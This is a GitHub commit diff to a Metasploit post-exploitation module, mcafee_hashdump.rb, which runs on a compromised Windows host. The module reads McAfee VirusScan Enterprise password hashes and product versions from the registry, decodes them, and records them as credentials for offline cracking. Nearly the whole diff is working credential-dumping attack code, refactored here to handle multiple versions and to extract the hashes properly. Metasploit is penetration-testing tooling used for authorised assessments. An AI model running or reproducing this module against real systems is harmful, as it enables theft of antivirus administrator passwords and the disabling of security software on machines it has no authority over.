Skip to content

Commit 5c12f9d

Browse files
committed
More cleanup
Handle multiple versions Better print_ Actually extract
1 parent 35fd17c commit 5c12f9d

File tree

1 file changed

+46
-19
lines changed

1 file changed

+46
-19
lines changed

modules/post/windows/gather/credentials/mcafee_hashdump.rb

Lines changed: 46 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,11 @@ class Metasploit3 < Msf::Post
1313
include Msf::Auxiliary::Report
1414
include Msf::Post::Windows::UserProfiles
1515

16+
VERSION_5 = Gem::Version.new('5.0')
17+
VERSION_6 = Gem::Version.new('6.0')
18+
VERSION_8 = Gem::Version.new('8.0')
19+
VERSION_9 = Gem::Version.new('9.0')
20+
1621
def initialize(info = {})
1722
super(update_info(
1823
info,
@@ -32,35 +37,52 @@ def initialize(info = {})
3237
end
3338

3439
def enum_vse_keys
35-
subkeys = []
40+
vprint_status('Enumerating McAfee VSE installations')
41+
keys = []
3642
[
3743
'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit
3844
'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit
3945
].each do |key|
40-
subkeys |= registry_enumkeys(key)
46+
subkeys = registry_enumkeys(key)
47+
keys << key unless subkeys.empty?
4148
end
42-
subkeys.compact
49+
keys
4350
end
4451

45-
def extract_hashes(keys)
52+
def extract_hashes_and_versions(keys)
53+
vprint_status("Attempting to extract hashes from #{keys.size} McAfee VSE installations")
54+
hash_map = {}
4655
keys.each do |key|
4756
hash = registry_getvaldata(key, "UIPEx")
4857
if hash.empty?
4958
vprint_error("No McAfee password hash found in #{key}")
50-
return
59+
next
5160
end
5261

53-
# Base64 decode mcafee_hash
54-
mcafee_version = registry_getvaldata(key, "szProductVer")
55-
if mcafee_version.split(".")[0] == "8"
56-
mcafee_hash = Rex::Text.to_hex(Rex::Text.decode_base64(mcafee_hash), "")
57-
print_good("McAfee v8 password hash => #{mcafee_hash}")
58-
hashtype = "dynamic_1405"
59-
elsif mcafee_version.split(".")[0] == "5"
60-
print_good("McAfee v5 password hash => #{mcafee_hash}")
61-
hashtype = "md5u"
62+
version = registry_getvaldata(key, "szProductVer")
63+
if version.empty?
64+
vprint_error("No McAfee version key found in #{key}")
65+
next
66+
end
67+
hash_map[hash] = Gem::Version.new(version)
68+
end
69+
hash_map
70+
end
71+
72+
def process_hashes_and_versions(hashes_and_versions)
73+
hashes_and_versions.each do |hash, version|
74+
if version >= VERSION_8 && version < VERSION_9
75+
# Base64 decode hash
76+
hash = Rex::Text.to_hex(Rex::Text.decode_base64(hash), "")
77+
print_good("McAfee v8 password hash: #{hash}")
78+
hashtype = 'dynamic_1405'
79+
elsif version >= VERSION_5 && version < VERSION_6
80+
print_good("McAfee v5 password hash: #{hash}")
81+
hashtype = 'md5u'
6282
else
63-
print_status("Could not identify the version of McAfee - Assuming v8")
83+
print_warning("Could not identify the version of McAfee - Assuming v8")
84+
print_good("McAfee v8 password hash: #{hash}")
85+
hashtype = 'dynamic_1405'
6486
end
6587

6688
# report
@@ -77,7 +99,7 @@ def extract_hashes(keys)
7799
post_reference_name: refname,
78100
origin_type: :session,
79101
private_type: :password,
80-
private_data: mcafee_hash,
102+
private_data: hash,
81103
session_id: session_db_id,
82104
jtr_format: hashtype,
83105
workspace_id: myworkspace_id,
@@ -102,14 +124,19 @@ def extract_hashes(keys)
102124
end
103125

104126
def run
105-
print_status("Checking McAfee password hash on #{sysinfo['Computer']} ...")
127+
print_status("Looking for McAfee password hashes on #{sysinfo['Computer']} ...")
106128

107129
vse_keys = enum_vse_keys
108130
if vse_keys.empty?
109-
print_error("McAfee Virus Scan Enterprise not installed or insufficient permissions")
131+
vprint_error("McAfee Virus Scan Enterprise not installed or insufficient permissions")
110132
return
111133
end
112134

113-
extract_hashes(vse_keys)
135+
hashes_and_versions = extract_hashes_and_versions(vse_keys)
136+
if hashes_and_versions.empty?
137+
vprint_error("No hashes extracted")
138+
return
139+
end
140+
process_hashes_and_versions(hashes_and_versions)
114141
end
115142
end

0 commit comments

Comments
 (0)